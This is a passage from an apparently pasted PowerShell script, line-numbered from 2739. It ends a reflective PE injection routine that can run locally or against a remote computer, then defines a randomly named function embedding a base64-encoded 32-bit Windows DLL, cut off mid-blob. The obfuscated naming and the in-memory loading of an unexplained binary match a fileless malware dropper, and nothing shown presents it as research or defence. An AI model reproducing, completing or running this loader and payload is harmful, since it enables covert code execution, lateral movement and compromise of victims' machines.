  2739.     else
  2740.     {
  2741.         $ExeArgs = "ReflectiveExe"
  2742.     }
  2743.  
  2744.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2745.     {
  2746.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2747.     }
  2748.     else
  2749.     {
  2750.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2751.     }
  2752. }
  2753.  
  2754. Main
  2755. }
  2756.  
  2757. function Invoke-JWKYFETLPTSHUC
  2758. {
  2759.  
  2760. $PEBytes32 = "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AFBXag1ouwQAAGhg8AAQ6BM/AACNRdDGRdcAUFdqDGi6CgAAaGDwABDo+T4AAI1FpMZF0wBQagVqBWgOCQAAaGDwABDo3j4AAIPEUMZFqQCNRZxQagVqCGhrAgAAaGDwABDowD4AAI1FzMZFoQBQV2oJaPkIAAC/YPAAEFfopT4AAI1FtMZFzwBQagRqDWhXAQAAV+iOPgAAjUX8xkW4AImF3P7//zP/jUXsx4Xk/v//lBEAEImF6P7//0dqBVmNReiJjeD+//+JhfT+//+NReSJhQD///+NReBqBlqJhQz///+NRcRqAomN7P7//4mN+P7//4mFGP///41FvFnHhfD+//91EQAQx4X8/v//URIAEImVBP///8eFCP///2sQABCJvRD////HhRT///8GEwAQiY0c////x4Ug////oBMAEImFJP///4mVKP///8eFLP///9ITABCNRdyJjTT///+JhTD///+NRdiJhTz///+NRdSJhUj///+NRdCJhVT///+NRaSJhWD///+NRZyJhWz///+NRcxqBYmFeP///41FtImNQP///1mJRYSNhdz+//9qD1BWx4U4////8REAEMeFRP///yESABCJjUz////HhVD///9+EAAQiZVY////x4Vc////AxEAEImNZP///8eFaP///xYRABCJjXD////HhXT///9WEQAQiY18////x0WAwxAAEIlViMdFjLAQABDo20UAAIPESIvwjYWs/v///3WwUOiQoQAAU+ieKgAAg8QMhfZ1BzPA6X0CAADokQkAAKN01wEQu2DwABCNRfBQaghqC2hEAgAAU+i3PAAAM8BmiUX4jUWQUGoIag5omQEAAFPonjwAADPAZolFmI2F0P7//1BqCmoJaDwFAABT6II8AAAzwFBqIGhg1gEQZomF2v7//+jJOwAAg8RIo2zXARDorTAAAKNw1wEQhcB1D41F8FDoT0AAAFmjcNcBEOj6AgAAo2jXARDowDEAAKN41wEQhcB1D41F8FDoKEAAAFmjeNcBEOgSLQAAo3zXARCFwHUPjUXwUOgLQAAAWaN81wEQ6GEuAACjgNcBEIXAdQ+NRfBQ6O4/AABZo4DXARDoYC8AAKOE1wEQhcB1D41F8FDo0T8AAFmjhNcBEOhbMgAAhcCNldD+//+NTZAPRMpR6LI/AABZo4jXARDoujAAAKOM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